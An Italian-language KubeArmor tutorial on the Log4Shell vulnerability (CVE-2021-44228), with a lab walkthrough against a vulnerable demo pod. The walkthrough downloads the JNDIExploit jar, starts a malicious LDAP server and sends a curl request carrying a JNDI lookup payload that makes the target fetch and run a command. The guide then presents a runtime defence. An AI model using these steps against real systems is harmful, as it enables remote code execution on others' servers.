kubearmor/log4j-cve-2021-44228Vulnerabilità Zero Day di Apache Log4j, nota anche come Log4Shell e CVE-2021-44228
Il 9 dicembre 2021, il mondo è stato messo al corrente di una nuova vulnerabilità identificata come CVE-2021-44228, che colpisce il pacchetto di logging Java Apache log4j. Questa vulnerabilità ha ottenuto un punteggio di gravità di 10.0 (la designazione più critica) e consente una banale esecuzione remota di codice sugli host che interagiscono con software che utilizza questa versione di log4j. "Log4Shell" è il nome dato a questo attacco.
Oggi, la versione log4j 2.15.0rc2 è disponibile e corregge questa vulnerabilità. Tuttavia, il pericolo enorme di questa vulnerabilità è dovuto a quanto sia diffuso il pacchetto di logging. Milioni di applicazioni e fornitori di software utilizzano questo pacchetto come dipendenza nel proprio codice.
Rilevamento noto più precoce: 2021-12-01 04:36:50 UTC
Versioni interessate:
Chi è interessato?
Impatto: esecuzione arbitraria di codice come utente con cui viene eseguito il processo padre (codice recuperato dalla rete pubblica, o lolbin già presenti sul sistema, o semplicemente recupero di segreti condivisi o variabili d'ambiente e loro invio all'attaccante).
Obiettivi: server e client che eseguono Java e registrano qualsiasi cosa usando il framework log4j - principalmente un problema lato server, ma qualsiasi endpoint vulnerabile potrebbe essere un obiettivo o un punto di pivot.
Progetti a valle: fino a prova contraria, si presume che qualsiasi cosa includa log4j - inclusi Elasticsearch, Apache Struts / Solr / Druid / Flink, ecc. - sia interessata in modo tale da richiedere mitigazione.
Versioni interessate: log4j 2.x confermato - log4j 1.x solo indirettamente (precedenti vulnerabilità di divulgazione di informazioni) (in alcune configurazioni)
Appliance: non dimenticate gli appliance che potrebbero utilizzare componenti server Java, ma che non verrebbero rilevati dalla scansione delle vulnerabilità non autenticata
Inoltro dei log: l'infrastruttura di logging ha spesso molte topologie di inoltro/relay "northbound" (invia i miei log a qualcuno) e "southbound" (riceve log da qualcuno). È necessario considerare anche il loro concatenamento a scopo di sfruttamento.
Cloud: anche diversi grandi provider sono interessati (un elenco curato dalla comunità di software e servizi vulnerabili a CVE-2021-44228 è disponibile in questo repository GitHub.
Passo #1: Distribuire il pod con i servizi associati vulnerabili a Log4j in Kubernetes
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
Si noti che abbiamo distribuito l'applicazione di esempio Log4Shell vulnerabile nello namespace
default
Passo #2: Scaricare il server LDAP malevolo
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
Passo #3: Avviare il server LDAP per il traffico in entrata sul proprio PC o VM cloud
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
L'IP privato può essere recuperato con
hostname -I.
Assicurarsi che il firewall consenta il traffico per le porte1389e8888
Passo #4: Sfruttamento tramite comando cURL
# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Qui, il 1° IP utilizzato è il nostro IP esterno k8s (Passo #1) dove è in esecuzione l'app di esempio vulnerabile.
Il 2° IP utilizzato è l'IP esterno del server LDAP malevolo (Passo #2)
Passo #5: Conferma verificando la creazione del file /tmp/pwned
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
Sostituisci
log4j-demo-5d7c84d8b9-vs8ckcon il tuo pod dall'output del Passo #1.
Dovresti essere in grado di vedere un file creato comepwnedall'interno della directory/tmp.
KubeArmor è una piattaforma di sicurezza runtime che può aiutare i team Security/DevSecOps a proteggere i propri carichi di lavoro utilizzando controlli basati su applicazioni/sistemi (come limitare la creazione di processi, limitare l'accesso al file system, limitare le capability dei pod, ecc.). KubeArmor dispone di una modalità di visibilità tramite la quale il team applicativo/di sicurezza può abilitare la visibilità riuscendo così a capire cosa succede all'interno dei pod, ovvero quali processi vengono creati, quali accessi ai file vengono tentati, ecc. Il più grande vantaggio di KubeArmor è che, come utente, puoi anche inviare policy in grado di prevenire/bloccare/negare tali operazioni di sistema.
In genere un attaccante si infiltra con l'intento di esfiltrare i dati interni, di fare cryptomining o semplicemente di devastare le app interne con l'intento di renderle non disponibili. In tutti questi casi, l'attaccante deve eseguire un programma arbitrario che possa realizzare le sue intenzioni malevole. La vulnerabilità Log4j consente all'attaccante di collocare un binario all'interno della rete interna. Tuttavia, è possibile inserire delle barriere in modo da non consentire alla JVM di generare processi.